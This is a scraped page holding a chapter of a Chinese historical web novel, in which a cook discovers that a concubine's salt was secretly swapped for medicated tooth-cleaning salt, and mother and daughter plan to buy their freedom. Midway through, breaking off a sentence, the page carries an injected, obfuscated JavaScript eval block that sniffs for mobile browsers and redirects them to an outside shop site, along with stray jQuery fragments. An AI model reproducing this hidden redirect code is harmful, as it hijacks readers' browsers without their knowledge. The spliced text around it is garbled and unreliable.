默认冷灰
24号文字
方正启体

5. 第五章

作者:花春泥本书字数:K更新时间:
    “没有,买来就存在盐罐里。”


    余喜又用木勺挖出一点,让她娘尝尝。


    陈今禾细细辨别,真的有药材味,吓了一跳。


    她用青盐,而不用福州本地生产的海盐,是因为青盐本身就是一味中药,但只有咸味,没有药味,做药膳最合适。


    这罐青盐,她没调和任何药材进去。


    这突然冒出来的药材味,几乎可以肯定有人动手脚,罐子没变,里面的青盐被调包了。


    宫中或者汴京城的富贵之家,医工用青盐调和药汁,用于揩牙,减少龋齿、牙周炎,缓解口腔疼痛、炎症。


    甚至做成青盐炮附子牙粉,固齿、促进牙齿生长。


    陈今禾的爹生前是翰林医官院副使,宫里贵人不喜欢揩牙用的青盐一股药材味,便控制药材比例,味很淡。


    调和药汁的青盐,揩牙时,漱口都会吐掉,偶然吃下一点,也没什么。


    若是当成做菜的调味盐,长期食用,问题就出来了。


    轻则萎靡不振,春困秋乏,虚胖水肿,重则脾虚体弱,气血失调,肠胃不好。


    青萝居三位主子,杨小娘长期气虚体弱,甚至连淳姐儿虚胖水肿,康哥儿易困萎靡。


    陈今禾与女儿对视了一眼,这点药味,对方控制的很好,味淡,跟厨房用的差不多。


    今天炒制青盐,混在厨房弥漫的米香、药材香中,若不是余喜靠的近,真的很难发觉异常。


    陈今禾母女两入府之前,杨小娘母子三人,吃的恐怕就是这种揩牙的青盐,无毒,但会让人长期没精神,脾虚体弱,弱症。


    若再遇上点风寒热症,容易病,别说把柄,连害人的痕迹都难寻。


    懂药理的人,才会出此招。


    “娘,这件事···要告知杨小娘吗?”


    其实可以瞒下,当作从来没有发生。


    陈今禾是杨小娘的专人厨娘,如今一应饮食都从陈今禾手上出来。


    陈今禾慎重思索后,“要的。入府至今,杨小娘以礼相待,咱得提醒她。


    再说,她专门弄个小厨房,就是表明不想再碰大厨房的饮食,让牙婆找咱们过来替她料理膳食,可能就是意识到哪里不对劲,只是苦于找不到任何证据。”


    快速将八珍糕、盐罐子装入食盒,叮嘱女儿:“今天的药膳等我回来再说,你在厨房守着,装作不知道此事,一切如常。”


    *


    青萝居,四间正房,三间偏房。


    内厢房,卧榻之上铺着锦缎,杨小娘坐在卧榻做针线活,旁边睡着三岁的康哥儿,身上盖着薄毯,贴身女使疏雨在跟前伺候。


    陈今禾入内行了礼,将食盒轻放在杨小娘面前的案桌上。


    即使到了梨花飘雪时节,杨小娘依旧穿着天水碧色薄缎袄,云髻插了一支并蒂瓜头金簪,今天脸上气色还行,精神不错。


    杨小娘见陈今禾放下食盒,并未走,好似有话要说,找了个由头将疏雨打发出去。


    陈今禾从食盒里拿出一碟子八珍糕,一个装盐的瓷罐,用木勺挖了点青盐出来,递与杨小娘看,杨小娘不解。


    “娘子,今儿个何嬷嬷膝盖疼痛,我便用厨房的青盐制作了两个热敷包,助她老人家缓一缓疼痛。


    不成想,炒制的过程,青盐飘出了药材味,我尝了之后,便明白为何娘子产后一直身子气虚体弱,想必从那个时候开始,用的青盐就有问题。”


    陈今禾顿了顿,观察杨小娘脸色。


    杨小娘绷着脸,心中惊吓,木勺上的青盐,色泽如常,根本看不出来异样,“你接着说,这宅院里腌臢事不少。”


    在宅院里摸爬滚打,下三滥的招数也是见过的。


    纵使她小心谨慎,甚至干脆连院门都少出,总有人在暗处一次次的害她。


    从生完康哥到现在,已经三年过去了。


    陈今禾见杨小娘果然心里有数,自己心里略微松了松,这才大胆接着说:“有人暗中调包,取走了我买的青盐,装入揩牙的青盐。


    偶尔误食一两次无事,但经年累月的吃下去,就会让人萎靡不振,脾胃虚弱,气血失调。我也有疏忽,请责罚。”


    杨小娘心里甚是凄苦,章相公越宠她,越有人眼红,防不胜防。


    “你肯如实告诉我真相,我心里甚是感激,我信你。


    这三个月,每次药膳,你都试咸淡,差点连累了你。


    不瞒你,我请了好多大夫,都说是体弱。


    这件事,不要告诉其他人,你照常,若是发现那调包的人,也别抓,来告诉我是谁就行。”


    揩牙的青盐无毒,吃下一点甚至连腹泻肚痛都算不上。


    若抓住调包的人,扭送到章相公面前,狡辩一番是杨小娘自己体弱,小厨房是陈今禾管着。


    陈今禾吃了黄连,心里也苦,她就一个药膳厨娘,差点成了别人手里的刀。


    此时还得感激杨小娘没有罚她,道:“多谢娘子体谅,以后我会注意,厨房的调料,放在外面的给别人看,真正入口的,另外存放。”


    杨小娘眼中已沁出泪光,站起身,握住陈氏的手,“陈娘子,我知你有真本事,若不是万不得已,也不会到我这里来屈就。


    不怕你笑话,我们母子三人,也只是表面风光,一应吃食,往后就托付你了。”


    陈今禾的心这才放回肚子里,她本不是个多事之人,只是这般害人的腌臢事,不告诉杨小娘,她实在良心难安。


    “娘子放心,我会尽我所能,给娘子调理。


    好在发现的不算晚,我先开一副温和补气血的药,吃三剂,姐儿哥儿年龄小,能用药膳就用药膳。”


    杨小娘等的就是这些话,花了二十贯中介费找来的人,厨娘兼职大夫,这钱花的值当。


    从抽屉里取了一包碎银子,又拔了云髻上的并蒂瓜头金簪,塞到陈今禾手里,收回泪光,笑着道:“这支簪子你拿着,此番多亏有你,换了旁的人,未必肯如实相告的。”


    *


    等陈今禾回到厨房,余喜已经将厨房收拾打扫了一番,灶台、桌面、边边角角都清理了一遍,第二笼八珍糕刚好出炉。


    陈今禾心有余悸,与女儿


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17493974|202379||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    大致说了说杨小娘的反应,碎银子买药,并蒂瓜头金簪是赏她的。


    余喜扶额,忍不住看了她娘一眼。


    这些弯弯绕绕,她娘不是不懂,深受外祖父的影响,一惯行事做派,全按医者仁心来。


    杨小娘,大名杨若蓁,性子软,但很聪明,会拿捏人心,章相公那样的官场老油子都让她拿捏的死死的。


    亲爹本是扬州的一名县尉,因贪污、受贿、草菅人命,被当地通判一纸参了,丢了官,亲哥卖了她。


    进章府时,只剩何嬷嬷在身边,拎了两个包袱,身上穿戴的,还没章府二等丫环体面。


    论家世和对章相公仕途上的助益,比不过程氏。


    论经商头脑,比不过李小娘。论美貌,柳小娘才是这宅院里公认最好看的。


    可是,杨小娘之于章相公,就像解语花,受伤时的三七,失意时的远志,迷茫时的苏合香。


    如今,杨小娘攒下不少体己,有田地米铺,穿金戴银,儿女傍身,风光体面。


    这次赏的金簪,买的是陈今禾的忠心。


    余喜有一种不好的预感,她娘冲锋陷阵挡在杨小娘前面,会成为别人的眼中钉。


    她无语地闭上了眼,深呼吸一口气,得尽快赚钱,拿回身契,远离这个是非之地。


    陈今禾冲了一碗姜枣茶,喝下暖暖身子,“儿啊,那个金镯子呢,娘替你保管。”


    余喜压低了嗓门,语气尽量缓和:“娘,镯子等会再说。你还想等爹回来,所以才不愿意离开福州。


    可是,这里就是个修罗场,咱们得尽早另作打算,别把自己赔进去。”


    短短几句话,直击陈今禾心坎。


    两件事,她不想面对,又不得不面对。


    丈夫至今生死未卜,别人都劝她放下。如今才发现,章府内宅女眷不简单,暗流涌动,若是没有这种害人的腌臢事就好了。


    有时候,陈今禾觉得自己这个女儿才是当娘的,“那你有什么打算?”


    “现在章府其他人还没有发现青盐的事,咱们至少还有时间缓冲。


    姨母在汴京城,咱先攒钱赎身,然后去汴京。


    你怕爹万一回来找不着咱,那就给隔壁的庄牙婆留话,让他去汴京找咱们。”


    “哪有那么容易,汴京物价贵,你姨母一家老小,只赁了三间房,咱去了连个落脚的地方都没有。”


    “我现在做点小买卖攒钱,到了汴京自己赁房住。娘,把这个金镯子、金簪子兑换成银子吧。


    明日一早我去生药铺,买些药材回来做木瓜丸,等咱们多攒点钱,去了汴京城,给你买邓家金银铺的金簪。”


    女儿赚钱给她买首饰,陈今禾听的满心欢喜。


    余喜没赚过钱,不是沉迷研究药方,就是缠着陈今禾教她一些后世失传的炮制技法。


    她家要是买了块猪肉,猪皮都得先留给余喜练习扎针,扎完了再拿去下厨。


    最近阴雨天,风湿热疹病人不少,木瓜丸好卖。


    陈今禾道:“何嬷嬷送了咱金镯子,做好木瓜丸,送点给她。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)